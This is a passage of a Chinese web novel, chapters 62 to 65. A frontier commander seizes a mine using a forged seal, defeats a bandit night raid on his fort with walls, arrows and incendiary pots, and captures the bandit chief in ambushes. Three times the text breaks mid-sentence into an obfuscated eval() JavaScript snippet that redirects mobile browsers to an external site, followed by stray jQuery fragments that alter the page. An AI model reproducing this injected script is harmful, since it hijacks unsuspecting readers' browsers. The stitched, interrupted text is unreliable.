马六气急败坏,大声喝骂,抡鞭子要抽打老人。却被一个壮硕的矿工伸手抓住,狠狠扯过。
“你……”马六还想发狠,骑兵已经杀到。
“秦将军巡视,谁负责这座矿洞?滚上前答话。”
马六脸色发白,知道躲不过去,强撑胆色上前:“秦管队,不知深夜来这矿洞有何贵干?”
秦猛晋升为知寨官,没几个外人知道。
“哼,本将追捕**奸细,发现他们遁入白松岭。”秦猛斜瞥了眼这汉子,公事公办地回应。
“来人,给我搜查,但凡有可疑的人等,立刻抓捕。”
马六心里咯噔一声,明白对方哪里是抓**奸细。分明就是回应自家老爷的封运河而报复。
“秦管队,这是刘老爷的产业!你私闯想**?我家老爷是幽州府判官,朝廷不会放过你。”
秦猛端坐马上如冰冷铁塔,掏出卷轴抖开:“瞪大眼看着。这是白松岭地契凭证。刘耀宗半月前把山和矿抵赌债给我,有府衙红印。”
地契是真的,官印是萝卜刻的。
他目光盯在马六脸上:“从那时起,我便是矿主。你们擅采矿,形同盗掘官矿,罪加一等。”
“你胡说八……”马六话没说完。
“放肆。”秦猛抽刀出鞘,刀锋指向前方。
“冲进去,拿下盗贼,反抗者,格杀勿论!”
秦猛一声令下,王善等人怒吼着策马冲锋。
队伍一分为二,左右包抄。
马六等人都是地痞,哪见过边军冲锋?
几个吓尿了想跑,马六想顽抗,被乌维磕飞兵刃,一脚踹倒,戍卒涌上前将他们捆成粽子。
矿工们蜷缩在角落,惊惧地看着一切。
秦猛策马到众矿工面前,宝刀归鞘,敛去杀气:“诸位兄弟别怕,本官是南河堡寨知寨官秦猛,追捕**奸细,此矿已归边军所有!”
他语气真诚:“我知道你们被刘家压榨如牛马,今日本官要整顿这种陋**,善待诸位兄弟!”
秦猛环视众人:“愿效力者登记造册,就是堡寨编户军属,酬劳翻三倍,家眷有补贴,立功有赏,受伤有医治,每月还能休二日,如何?”
第62章 南河堡遇袭
“编户军属”和丰厚条件如明灯,矿工们难以置信。有人惊呼,有人揉眼,有人掐自己大腿。
“大人…此话当真?”李老汉沙哑着嗓子站起,盯着地契。
“可有凭证?”
“这片白松岭刘家已经输给我了。”
秦猛面不改色,义正言辞地表态。让**举着’赌债字据’与山岭地契展示:“白纸黑字,写得清楚,当事人画押,官印扣下,童叟无欺!”
李老汉看着红印,背脊挺直些,眼神闪了几下,纳头便拜,“扑通”跪倒:“小老儿李有田,做矿工三十年,愿追随大人,肝脑涂地!”
老人的声音决绝中,带着哽咽。
“好,李老丈。”秦猛眼中有赞赏,“你行事稳重,从今日起当矿工头,协助军士管此地矿务。”
“谢大人再造之恩!”
李有田激动得发抖,眼泪直流。
榜样的力量是无穷的,有人带头,就有人跟随。
李老汉一跪,他身边壮硕矿工张大胆也跪倒。
“大人,俺也跟着大人干。”
“好,你身强力壮,转正规边军,组建矿场自卫队。”
“谢大人器重。”张大胆喜不自禁,连忙拜倒叩谢。
接着,数十多个矿工纷纷磕头,愿追随秦猛。
那些被强征来的佃户要求回家,也被秦猛应允。声称帮忙搬运矿石,发放路费,吃饱再走。
令这些佃户们磕头谢秦老爷仁慈。
马六等人见矿工们倒戈,面如死灰。
“大人您看!这是上好的赤铁矿。”李有田从竹篓里捧出一块红褐色矿石,凑近秦猛的马。
他指着矿场堆积如山的铁矿石,如同献宝般:“赤铁矿含铁量足,能打造好多兵器盔甲!”
“甚好,有劳老丈帮衬。”秦猛看着红褐色的矿石堆和精神焕发的矿工,在马上露出真挚笑容。
“来人,装一批矿石运回堡。”
火光映在秦猛脸上,驱散夜寒与阴霾,预示着坚定的开始。
李有田立刻组织众人,矿工们干劲十足,将矿石搬上独轮车和拖车,脸上满是激动与憧憬。
“庞仁。”秦猛点将,“你率十二戍卒看管矿场,严守出入口。等天明后续人手来,再定规矩。”
“遵命!”庞仁抱拳领命。
队伍很快集结,秦猛带亲卫押着马六一伙在前,乡勇与矿工押数十车矿石紧随,王善率戍卒断后。
每辆车插着火把,火龙绵延至山下,满载而归。
……
夜色笼罩下的南河堡寨,却并不沉寂。
堡寨外新开辟的聚居区灯火闪烁,人声隐约。
炖煮食物的香气混合着柴火的气息,随着寒风飘上箭楼,两名轮值警戒的戍卒忍不住深吸了一口气。
“真香啊……”年轻些的张三咂咂嘴,望着下方绵延开去的屋舍和灯火,眼中满是感慨。
“四哥,你闻闻,这是肉汤的味道吧?搁两个月前,俺们还在地里刨食,做梦都不敢想能有今天。”
李四,一个面色黝黑的老兵,重重点头,粗糙的手掌摩挲着冰冷的弓臂,声音有些沙哑。
“是啊,多亏了秦知寨。要不是他收留,俺们这批从凉州逃来的,十个里不知道能活下来几个。”
“现在不仅能吃饱,军寨还给发了厚实的棉衣、棉被……这些,可都是要真金白银去换的。”
他们都是最早一批跟随秦猛来到南河堡的流民,亲身经历过颠沛流离、饥寒交迫的绝望。
此刻站在温暖的箭楼上,守护着这片新生的家园。触景生情,内心的感激几乎要满溢出来。
“秦知寨真是大善人,菩萨转世……”
张三低声念叨着,语气里充满了敬仰和庆幸。
李四刚想附和,脸色却猛地一变。
脚下坚实的新立箭楼似乎轻微地晃动了一下。
紧接着,一种低沉的、如同闷雷滚过大地般的隆隆声从远方传来,脚下的震颤感越来越清晰。
他们是西北边军,久在边境,对这种动静再熟悉不过。
“不好!”两人几乎同时惊呼出声,脸色瞬间煞白。
这是大队骑兵狂奔才能造成的动静,方向正朝着堡寨而来!
“敌袭!”李四蹲身,用尽全身力气,吹响了挂在颈间的号角,凄厉急促的声音瞬间划破夜空。
几乎在同一时间,张三抡起鼓槌,拼命敲响了身旁的铜锣。
“铛铛铛铛——!”
锣声尖锐刺耳,与号角声交织成最紧急的警报。
原本还算宁静的军寨瞬间“活”了过来!
火光迅速在各处亮起,脚步声、甲胄碰撞声、军官的吆喝声此起彼伏。
负责堡后门防务的队将王铁山最先被惊动,大声呼喝着组织戍卒队,乡勇自卫队登墙防守。
坐镇寨中的秦大壮率队冲上堡墙。
张富贵、李山、刘铁柱等队将骨干反应迅速。
张富贵本队骑兵守堡前门,其他人各率麾下队伍,朝着预感中压力最大的堡后门方向紧急增援。
袁飞、徐强也立刻集结了弓箭手队伍,快步跟上。
连铺屋内许多民壮也拎着新发的刀枪,出来相助。
堡墙之上,火把迅速被点燃,映照出一张张紧张却坚毅的面孔。
很快,黑压压的骑兵如同潮水般涌至堡外的新区边缘。
火光下,为首两人面目狰狞,正是冷艳山的大当家“黑山熊”严彪和三当家“索命虎”黄奎!
他们此次倾巢而出,率领两百骑兵、一百步卒。在有心人资助下,人穿皮甲,浑然不像山贼。意图趁夜突袭,一举踏平这座小小边堡。
然而,情况似乎有些不对劲。
冲到近前的严彪却猛地勒住战马,看着眼前的一幕,气得破口大骂:“**,怎么回事?哪来的墙?”
只见原本喽啰探查汇报中应该毫无遮拦的新区外围,赫然矗立
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418878|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着一堵高约四五米的墙体。
墙体在火把照耀下墙体可见沙土,竟像是冰筑而成。
严彪决定来袭击边堡,整顿人马时,就派了喽啰前来侦查,但喽啰畏寒怕死,怕被巡逻队发现,只远远看到新区内在热火朝天地建房。
便想当然地回报说只是个正在建设、并无围墙的松散土堡。
他们哪里想得到,这只是堡外新区。
秦猛极具远见,与泥瓦匠师傅们充分利用严冬气候,用木板,水和泥土混合浇筑,在外围构筑起了这道冰墙,就是为了防**骑兵突袭。
这下**兵没来,却被冷艳山贼撞上。
骑兵可不擅长攻坚,这堵高墙犹如一盆冷水。浇灭严彪心中杀意,打乱夜袭计划,令他怒不可遏。
然而,这冰墙还与堡寨主体相连,便于快速支援。
就在冷艳山匪众被这突如其来的防御工事惊得勒马发呆之际——
“嗖嗖嗖!”
密集的破空声骤然响起!
是弓箭手已经就位,毫不客气地率先发动了袭击。
冰冷的箭矢如同死神的镰刀,精准地落入拥挤在墙外的匪群中。
三棱箭头轻松撕开山贼身上的旧皮甲。
“啊!”
“我的眼睛!”
“弓箭手,快散开!”
凄厉的惨叫声顿时响成一片,不断有人中箭**,阵型一阵大乱。
“该死,给我找门。”
“找到门冲进去,杀光他们!”
严彪气得哇哇大叫,挥舞着鬼头刀,大声下令。
匪徒们立刻散开,沿着冰墙寻找入口。
很快,便发现了真正的堡寨和加固过的堡寨后门。
这座更高的堡墙更让贼匪龇牙咧嘴。
“该死,这是破土堡?”严彪咬牙切齿,没得选,立刻收拢队伍,朝着后门发起了疯狂的冲锋。
然而,他们再次失算。
几天前,**来袭,骑兵轮番冲击,差点破门而入。
秦猛在布置防御时,岂会留下如此明显的弱点?
后门外,工匠们同样利用地形,按照堡前门修建样式,构建了一个向内收缩的“喇叭口”地形。
逐渐收缩,白天不细看,难以发觉。
何况是在夜晚?冷艳山骑兵呐喊着,叫骂着,冲入其中,速度不由自主地降低,并且越发拥挤,靠近后门后,人马相撞,乱作一团。
就在此时,堡墙之上,火光大盛!
秦大壮、李山、刘铁柱,徐强等人指挥着守军,弓箭、滚木、礌石,如同雨点般向下倾泻。
“不是**,他们是汉人。”有人眼尖,认了出来。
“山贼,这伙人估计是山贼!”
“**,放箭,砸,给我狠狠地打!”
秦大壮勃然大怒,吼声,压过了匪徒的喧嚣。
一场激烈的攻防大战,就在这喇叭口,轰然爆发。
火光冲天,喊杀声、惨叫声、兵刃碰撞声震耳欲聋。
第63章 **之威
堡寨的攻防战已然进入白热化!
山贼们慌乱过后,不再一窝蜂乱冲。冷艳山的后续步卒赶来,扛着七八架木梯子猛烈来攻。
堡墙上箭矢如密雨般从垛口倾泻而下,礌石裹着风声砸向冰墙下的匪群,两者交织成死亡之网。每一次落下都伴随着外面凄厉的惨叫。
“不要乱,不要慌!”
“低头猫腰贴墙走,物资断了,咱们都得完!”
诸葛风左手攥着账本,右手拎着腰刀,额角渗着汗跑过堡墙通道。
他这书生闻讯赶来,负责调度民壮,运送物资。
民壮们两人一组抬着木桶,蒸汽顺着桶盖缝隙往外冒,他得算准批次让热水及时补到戍卒手里。
同时,他还要盯着仓库方向,确保成捆的箭矢能顺着绳梯源源不断往上送,半点不敢分心。
袁飞半蹲在垛口后,左手按着弓身,右手手指搭在弓弦上,眼睛死死盯着墙下移动的匪群。
他是飞虎卫里出了名的神箭手,呼吸压得极稳,只等某个匪徒抬头的瞬间,手指猛地一松。
——弓弦震颤的“嗡”声刚落,利箭便如流星般破空,精准穿透那匪徒胸前的皮甲,箭簇从后背穿出带起一串血珠。
紧接着,又是一箭,这次直中另一个正想搭梯的匪徒面门,那匪徒连哼都没哼一声,直挺挺地摔了下去。
短短片刻,他身前的箭囊就空了大半。
墙下却已多了七八具尸体,惨叫声此起彼伏。
戍卒们没袁飞那般精准的箭术,却有更直接的狠劲。两个戍卒合力抱起百斤重的礌石,脸憋得通红,朝着墙下匪群最密集的地方甩下去。
沉重的石块砸在人群中,“嘭”的一声闷响,瞬间就砸倒了三个匪徒。
其中一个被砸中胸口,骨头碎裂的脆响隔着夜色都清晰可闻,鲜血顺着石块缝隙往外渗,看得墙下其他匪徒一阵胆寒。
更让人意外的是新区安顿的流民们。
他们没穿铠甲,手里也没像样的兵器,有的抱着自家门后的顶门石,有的拎着装满沸水的汤罐、铁锅……
自发地挤来,帮忙运送物资。
有个老猎户拉动猎弓,虽没袁飞那般准头,却也能时不时射伤个匪徒,为戍卒们分担些压力。
看到流民都来支援,戍卒们士气大振,吼声如雷!
几个戍卒接过民壮递来的沸水罐,顺着堡墙的缝隙往下泼洒。
滚烫的沸水顺着墙面流淌,溅落在下方仰头往上爬的匪徒身上,瞬间浸透粗布衣物,烫得那些匪徒皮肤发红起泡,纷纷惨叫着滚落。
运气差些的匪徒正仰头往上喊,沸水直接浇透了他的头颅。
那匪徒当场发出撕心裂肺的惨叫,双手在脸上乱舞,从梯子上摔下去后还在地上翻滚,脸上的皮肤被烫得红肿,脱落,场面惨烈至极。
连墙下的匪徒都看得头皮发麻。
就在守军攻势正猛,匪群攻势渐弱时。数十个贼人趁着夜色的掩护,绕到了冰墙另一侧。
他们手里拿着简易的爬墙梯,猫着腰摸到墙根下,想趁着堡墙上守军注意力都在正面时,悄悄爬上去。
李山和刘铁柱因伤,负责调度物资。他俩放下箭矢,准备下堡墙,意外看见冰墙下的异动。
两人瞳孔一缩,看着那些贼人正快速把爬墙梯搭在墙上,几个匪徒已经踩着梯子往上爬。
他们没有作声,怕惊动贼人反而会让对方加快爬墙速度。
李山对着身边两个军卒比了个手势,压低声音喝令:“快去取**,仓库角落那批,用陶瓶装的,快。”
军卒们立刻跑向仓库,片刻后就抱来十几个陶瓶。陶瓶外缠着浸过火油的布条,瓶身还沾着些油星。
正是之前秦猛提过的杀器**!
“这玩意儿我只听过知寨提过,说能烧得贼人不敢靠近,今日便来试试!”
李山咬牙,用没受伤的右手接过一个陶瓶,凑到旁边民壮举着的火把前,点燃了陶瓶外的布条引信,看着火星顺着布条快速蔓延燃烧。
等了一个呼吸的功夫,他才猛地将瓶子朝着墙下匪兵最密集的地方掷去。
陶瓶刚一落地,就“轰隆”一声炸开!
火油混合着铝粉溅开,一丈多高的火焰瞬间冲天而起,橘红色的火光把周围照得如同白昼。
这火焰温度极高,火浪如同活物般向四周扩散,瞬间就将四五米范围内的七八个山贼裹入火海。
那些山贼浑身是火,在地上疯狂翻滚,可火油粘在衣物上根本扑不灭,火焰反而越烧越旺。
他们只能发出不似人声的凄厉吼叫,身上的皮肉被烧得“滋滋”响,吓得周围的山贼“妈呀”怪叫,四散逃窜,再也不敢靠近冰墙半步。
“好家伙,这威力竟这么大!”
李山看着眼前的景象,也有些发愣。
他此前只听秦猛提过这**,说火油和铝粉混在一起烧得更旺,却没想到实战中竟有这般震慑力,连他自己都被这火焰的威势惊到了。
“这是什么武器?竟能有这般威势?”
不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418879|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远处的袁飞、徐强恰好全程目睹,瞠目结舌。
他们征战多年,见过军中的火箭、火油桶,却从没见过这么小巧、威力又这么大的装备。
一个陶瓶就能烧一片,比所谓的火箭管用多了。
没等众人缓过神,刘铁柱也抓起一个**,大喝一声:“看我的!让这些孙子知道厉害!”
他瞄准不远处扎堆的骑兵。
——那些骑兵正想冲过来掩护爬墙的步卒,此刻却停在原地不敢上前。
刘铁柱点燃引信,手臂用力,将陶瓶奋力甩出。
陶瓶在夜空中划过一道弧线,精准落在骑兵中间,又是一声“轰隆”巨响,火光再次冲天。
附近几匹战马瞬间被火焰燎到,马**燃起,身上还被飞溅的陶片划出数道血洞,吃痛之下扬起前蹄嘶鸣,差点把马背上的匪徒甩下去。
马背上的贼匪更是躲闪不及,火油溅了一身,瞬间变成火人,如同着火的车轮般惨叫着滚**下。
即便在地上翻滚,身上的火焰也越烧越旺,七八个呼吸后,只能凄惨地哼哼,再也爬不起来。
连续两声**彻底打乱了匪群的阵脚。
许多战马受了惊吓,挣脱缰绳,四处乱窜,将原本就混乱的匪兵撞得人仰马翻。
有的匪徒被撞翻,有的被马踩中腿,当场就断了骨头,哭喊声混在一起,让匪群彻底没了章法。
堡墙上的戍卒们却没有丝毫停顿。
十来个**先后被点燃,由李山、刘铁柱和几个力气大的戍卒轮流掷向匪群。
“轰隆隆——”
**声接连不断,一股股火焰在夜色中冲天而起。火借风势,可怕的高温席卷着整个战场。
连堡墙上的戍卒都能感受到扑面而来的热浪。
一个又一个火人在地上挣扎惨叫,空气中弥漫着焦糊味与血腥味,那味道刺鼻又恶心,让不少民壮都忍不住干呕。
冷艳山的贼匪彻底没了先前的嚣张,队形瞬间崩溃,一个个只想着转身逃命,连爬墙梯都扔在了地上。
“就是现在,冲!”
张富贵抓住战机,猛地从垛口站起来,高声怒吼。
他手里拎着狼牙棒,棒身上还沾着之前厮杀时的血渍,此刻眼神锐利如刀,死死盯着溃散的匪群。
袁飞、徐强立刻率领数十名精锐骑兵,朝着堡前门跑去。
寨门“嘎吱”一声被拉开,骑兵们策马疾驰而出,马蹄踏在冻土上发出“哒哒”的巨响,如同一把锋利的尖刀,直插溃散的匪群之中。
第64章 溃逃与伏击
“杀!”喊杀声响彻夜空!
骑兵们挥舞着马刀,刀光闪过,便有匪徒倒地。原本惨烈的攻防战,瞬间变成了一边倒的追击。
冷艳山的贼人本就被**炸得魂飞魄散,此刻又被张富贵,袁飞等人的骑兵冲得七零八落。
堡墙,冰墙上戍卒,乡勇呐喊,垂下绳子反击。
一时间,杀声震天。
贼人腹背受敌,节节溃败。
不少人慌不择路,要么被马刀砍倒,要么被同伴撞翻,还有些直接摔下马来,被后面逃窜的匪兵踩踏,连惨叫都发不出来。
张富贵的目标很明确,索命虎黄奎。
他看到那个魁梧壮汉正想往人群里躲,立刻拍马冲过去,狼牙棒带着呼啸的风声砸向黄奎。
黄奎仓促举刀格挡,“铛”的一声脆响,刀身与狼牙棒相撞。
他只觉得手臂发麻,虎口都被震裂,刀身险些脱手。
接下来,张富贵的攻势越来越猛,狼牙棒招招都往他要害打,黄奎只能左支右绌地勉强应对,根本挡不住张富贵的凶猛,脸上满是惊慌。
袁飞、徐强勇猛异常,领着十来个堡寨骑兵,摆出骑兵锥形阵冲锋,在匪群中左冲右突。
山贼混乱无队列,根本就挡不住他们。
堡兵马刀挥过,便能收割一条性命。
骑兵所过之处,肆意收割,贼人死伤一片,哀嚎不止,原本溃散的匪群更是被冲得四分五裂。
兵败如山倒!
黑山熊严彪站在混乱中,看着身边的弟兄一个个倒下,脸色铁青,满眼愤怒,心里又惊又怕。
——他原本以为边堡就是个好欺负的土围子,可没想到这里的守军不仅勇猛,还有**那样的厉害武器。
一炸一片,马儿受惊。
再打下去,他们这些人怕是都要交代在这里。
他心里对怂恿自己来攻打边堡的柳三恨极了。
若不是柳三说边堡守军弱、物资多,他也不会带着人来送死?
“风紧,扯呼!”严彪当机立断,再也不敢恋战,连忙朝着不远处岌岌可危的黄奎喊了一声。
他又招呼身边还能喘气的弟兄们,拼了命地往来时的方向逃窜。
他们不敢再和守军纠缠,只想着尽快逃离这个地方。丢盔弃甲,连滞留的同伴都顾不上了……
大当家带人跑了!
“跑啊!”山贼们一哄而散,只恨爹妈少生两条腿。
张富贵,袁飞等人想追却被溃兵阻挡。解决拦路之人再想去追贼头,却发现消失在黑夜中。
“兵法有云,穷寇莫追。”诸葛风爬上城墙高呼。
“诸位,以防范**为主。”
秦大壮,王铁山率领大队人马,从后门杀出来。四面包抄,围追堵截,驱赶抓捕逃窜的贼人……
冷月如钩,寒星零落。
严彪率残部纵马狂奔,马蹄踏碎冻土,在寂静的荒原上激起串串冰屑。
众人甲胄歪斜,血污满身,呼出的白气在须臾间凝成霜花。
“快,再快些!”严彪拼命抽打马臀,不断回头张望,总觉得黑暗中有一双眼睛在注视着他们。
忽然前方出现一片黑压压的桦树林,林间隐约有金属反光。
“停!”严彪猛地勒住缰绳,战马人立而起,发出惊恐的嘶鸣。
他眯起双眼,死死盯着林中若隐若现的寒光,那分明是铁甲映月的光泽!
话音未落,林中突然弓弦震响,数十支羽箭破空而至。箭簇撕裂空气的尖啸声令人胆寒。
紧接着,便是箭矢入肉的闷响。
惨叫声中,十多个贼兵应声**,有的被一箭穿喉,有的则被射穿胸甲,鲜血顿时染红了地面。
“奉秦将军令,王善在此恭候多时,贼人休走!”与此同时,一声雷霆般的怒吼从林中传出。
但见王善一马当先,率领三十余骑精锐如离弦之箭般杀出。
要问王善为何在这里堵截?
那是秦猛率队,押送着数十车矿石,返回边堡时。在半路上,却看到军堡那边火光冲天,杀声震天,大概位置是堡后门和新区爆发战斗。
他排除了是**来袭,猜到可能是冷艳山贼人来袭。相信以堡寨现有戍卒百八十,民壮两三百,又有**锏**,能够轻松击溃敌人。
于是并没有急着赶回去增援,而是找到大量杂乱的马蹄印记,乡勇和矿工被动员,分成多队,埋伏在险要之地,坐等溃兵,杀将出来。
王善率数十精锐为第一队杀处。他们每人穿铁甲,手中端着军制**,第二波箭雨已然上弦。
“杀,杀啊!”随着震天的喊杀声,林子里火光冲天,人影绰绰。乌维率领大队人马涌杀出来。
他这个如人熊般的铁甲壮汉,那震撼力无与伦比。
严彪惊得魂飞魄散,拨马就逃。
王善却并不追击,反而率部直插溃兵群中。手中铁枪舞动如龙,每一次突刺都精准地穿透贼兵咽喉。
鲜血喷溅在他玄甲上,在月光下泛着暗红的光泽。
乌维这大块头撞入敌群中,几乎与骑兵一般高。巨型弯刀旋转,几个骑兵就被打**下。
“该死,该死!”严彪听着身后不绝于耳的惨叫,脸色铁青。
他猛地想起这些年来为幽州官府做过的那些肮脏勾当。
——劫杀政敌,劫掠边民、贩卖人口,所得金银大半都孝敬了那些道貌岸然的官老爷。
如今这般阵仗,莫不是要被灭口?
残兵败将一路奔逃,待回过神来,只剩三十余骑相随。
三当家黄奎肩头还插着半截箭杆,鲜血不断从铁甲渗出。
他艰难地咽了口唾沫,声音沙哑:“大哥,咱们...还回山寨吗?”
严彪咬牙道:“必须回!老二手里还有百来号人,取了钱财再说!”
他下意识地摸了摸胸前暗袋,那里藏着他与某些官员往来的密信,几年来,一直贴身藏着。
若是能逃出生天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418880|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,定要那些背信弃义之徒付出代价!
就在这时,夜风中忽然传来密集的马蹄声。声音由远及近,显然是有组织的骑队在包抄。
“嗖嗖”破空声再起,又一波箭雨自侧翼袭来。
这次来的竟是鸣镝,箭簇破空发出凄厉的尖啸,震慑人心。
是**率二十余骑如鬼魅般从夜色中杀出:“奉秦将军令,**在此恭候多时,贼首纳命来!”
**一马当先,**随即而至,直取黄奎面门。黄奎慌忙举刀相迎,“铛“的一声震响,火星四溅。他肩上伤口迸裂,鲜血顿时染红铁甲。
“走!”严彪见势不妙,顾不得部下,率先突围。
黄奎勉强挡开三枪,夺马紧随。
**同样没有追击,望着贼头逃窜,只是冷笑:“果然如秦大人所料,丧家之犬必走此道。”
随即率部剿杀残兵,箭矢专射人脸,不伤战马。
严彪一路狂奔,待回头时,身边仅剩五六骑相随。来时浩浩荡荡的两百铁骑,如今凄惶如此。
寒风吹拂他染血的战袍上,眼眶湿润。
至岔路口时,黄奎突然勒马。
他指着东南方向一条狭窄小道:“大哥,官军连设伏兵,前路必然凶险。这条小路绕过青阳县,虽崎岖难行,但足以避开埋伏。”
“就依贤弟。”严彪此刻已成惊弓之鸟,当即拨转马头。
一行人行至密林深处,四周寂静得可怕。
只有马蹄踏雪的声音和众人粗重的喘息。
忽然,林间传来一声轻微的机括声响。
“小心!“严彪话音未落,一支**箭已破空而来。
箭簇精准地洞穿一贼咽喉,余势不减,又将后排一贼钉在树干上。
马蹄声得得,秦猛单骑迎着月光冲来,踏雪乌骓喷吐白汽,马鞍旁挂着一具刚刚发射过的军**。
他猜到正常人接连被伏击,肯定走另一条路。手中铁枪寒芒闪烁,枪尖遥指贼众。
“北地秦猛,在此恭候多时了。“
严彪见只他一人,凶性顿起:“一起上,杀了他!“
黄奎虽然负伤,但见对方孤身一人,顿时恶向胆边生。他舞动鬼头刀,策马直扑而上。
“装神弄鬼,纳命来!“
秦猛不闪不避,乌骓马突然加速前冲。在两马交错瞬间,**如毒蛇出洞,后发先至。
枪尖精准地刺入黄奎心窝子,穿透背甲而出。
“噗嗤“一声,鲜血顺着血槽喷涌。
黄奎瞪大双眼,难以置信地看着没入胸膛的**,口中鲜血狂涌:“你…,不可...可能...“
秦猛手腕一抖,将尸身甩向后方贼众。
几个贼人慌忙躲闪,仍有两人被砸**下。
秦猛**再舞,如银蛇狂舞。
每一次刺击都精准致命,顷刻间,连毙数贼。
严彪见武艺高强的三当家竟走不过一合,吓得肝胆俱裂,哪里敢来斗秦猛,拨马再逃。
第65章 大胜擒贼首
“古人诚不欺我,知己知彼百战不殆。”
秦猛也不急着追赶,任由严彪仓皇逃入前方山谷。待其身影消失,嘴角方浮现一丝冷笑。
“走吧!对方好歹是大当家,去看看。”
他轻抚乌骓的鬃**,这匹神骏的马儿打了个响鼻,蹄下避开满地血污。不疾不徐地追入山谷。
无他,因为山谷后方还有伏兵。
严彪亡命奔逃,回头张望,见身后没人松了口气。刚跑出山谷,气还没喘匀,忽觉马身一沉。
“崩”的一声,一条绊马索应声弹起。
他胯下也是一匹马,察觉到危机,前蹄悬空,人立而起。将猝不及防的主人狠狠摔落在地。
这一摔力道极大,严彪只觉得五脏六腑都移了位,眼前金星乱冒。
“奉将军令,庞仁在此等候多时。”
这时,庞仁率众从山坡跃下,大网兜头罩落。网绳上缀着的铜铃叮当作响,在寂静的冬夜里格外清脆:“哈哈哈,严当家,急着走做甚?
请入瓮来!”
随后一群军汉一拥而上,将其死死摁在地上。踢掉武器,反扭胳膊,粗绳套住,五花大绑。
“就你这种货色也配来攻打咱堡寨?”
庞仁眼疾手快,一把拽住那匹黑马的缰绳,斜眼看着披头散发的严彪:“这好马,真白瞎了。”
“直娘贼,有种…有种放开老子……”
严彪作威作福惯了,闻言剧烈挣扎,大声叫骂。
“废话忒多,给老子走!”庞仁冷笑,使人随便纠结草叶揉成团,堵住他的嘴,推推搡搡前行。
行不多时,恰好遇到赶来的秦猛。
“大人神机妙算,贼头被抓住!”庞仁立刻上来献俘。
“此次抓住贼首,乃是全体之功。”秦猛笑着点头,缓缓策马而来,以枪尖挑起严彪下颌。
月光照在他冷峻的面容上,声音如寒冰刺骨:“严大当家,你果然来啦。押回军堡地牢。
让他与严虎见上一面,不日公审,让北疆百姓都看看,这就是为祸多年的冷艳山大当家。“
严彪在网中挣扎,忽然听见秦猛说与兄弟严虎见面。顿时恍然大悟,从头至尾,这就是局。
他面如死灰,再无反抗之力。
秦猛率队押着垂头丧气的严彪和一众俘虏,携着缴获,浩浩荡荡返回军堡。
沿途,庞仁带人打扫战场,不仅寻回受惊跑走的战马,还将黄奎等贼人头目的尸体搭在马背上。
队伍前行不久,便陆续与前方设伏的**、王善两队人马会合。
两队伏兵战绩亦是不斐。
山贼主力被击溃后,残兵败将心胆俱裂,仓皇逃窜至此,早已不成阵型,几乎没做像样的抵抗便彻底崩溃。
除了极少数贼人钻山沟侥幸逃脱,余者非死即降。
庞仁清点完俘虏,将后续事宜交给**等人,便牵着马匹,带着本队戍卒和矿工返回白松岭。
返程的车队规模比出发时庞大了何止一倍,增添了许多马匹和垂头丧气的俘虏,队伍蜿蜒。
当抵达堡外时,秦大壮、张富贵等人也已将堡墙外的战场打扫完毕。
见到秦猛率队凯旋,不仅安全运回了大批铁矿石,竟还将逃窜的贼首及其党羽一举擒获。
消息传开,军堡上下顿时爆发出震天的欢呼声。
不说秦大壮、张富贵这些老边军看秦猛的目光充满了敬佩。
就连袁飞、徐强等来自飞虎卫的精锐们也满脸诧异,对这位年轻知寨的认知再次被刷新。
精准判断敌我局势,预知敌人溃败路线,果断分兵设下多层伏击……
这单独一项或许不算极难,但将这一切在仓促间完美结合起来,并取得如此战果,绝非常人所能办到。
在他们有限的认知中,除了他们效忠的赵将军,虎贲军中几乎无人能有此等魄力与能耐。
经诸葛风带人初步统计,此战杀敌两百余百,抓捕俘虏近百人。
收拢战马一百五十多匹,拉车的驮马三十多匹,被火烧,被射杀的马匹多达四十,跑散不少。
皮甲、兵器堆积如山,另还有贼人携带来的粮食,帐篷、皮褥子等杂物装了十来辆大车。
更从这些贼人身上,马鞍袋里搜刮出铜钱,散碎银块和银锭,银票,合计竟有五千两之多。
反观堡寨一方,除了十来个戍卒被流矢擦伤,几个民壮追敌时心急崴了脚,竟无一人阵亡。
堪称一场酣畅淋漓的大胜。
其实细想之下,这结果并不算惊世骇俗。
堡寨一方以逸待劳,据坚墙而守,更有**这等前所未见的大杀器挫敌锐气。
冷艳山贼众虽悍勇,却疏于训练,夜袭失败后便士气尽丧,军心涣散,若能打赢那才真是不正常。
“所有缴获的银两,拿出五成,按功分赏此次所有参战,运送物资人员。
另外,把死掉的战马都抬到杀猪棚去,老规矩,收拾干净,按人头分肉,让大伙都沾沾荤腥!”
秦猛了解情况后,毫不犹豫地下达命令,更是引起了众人雷动的欢呼,士气高涨至极点。
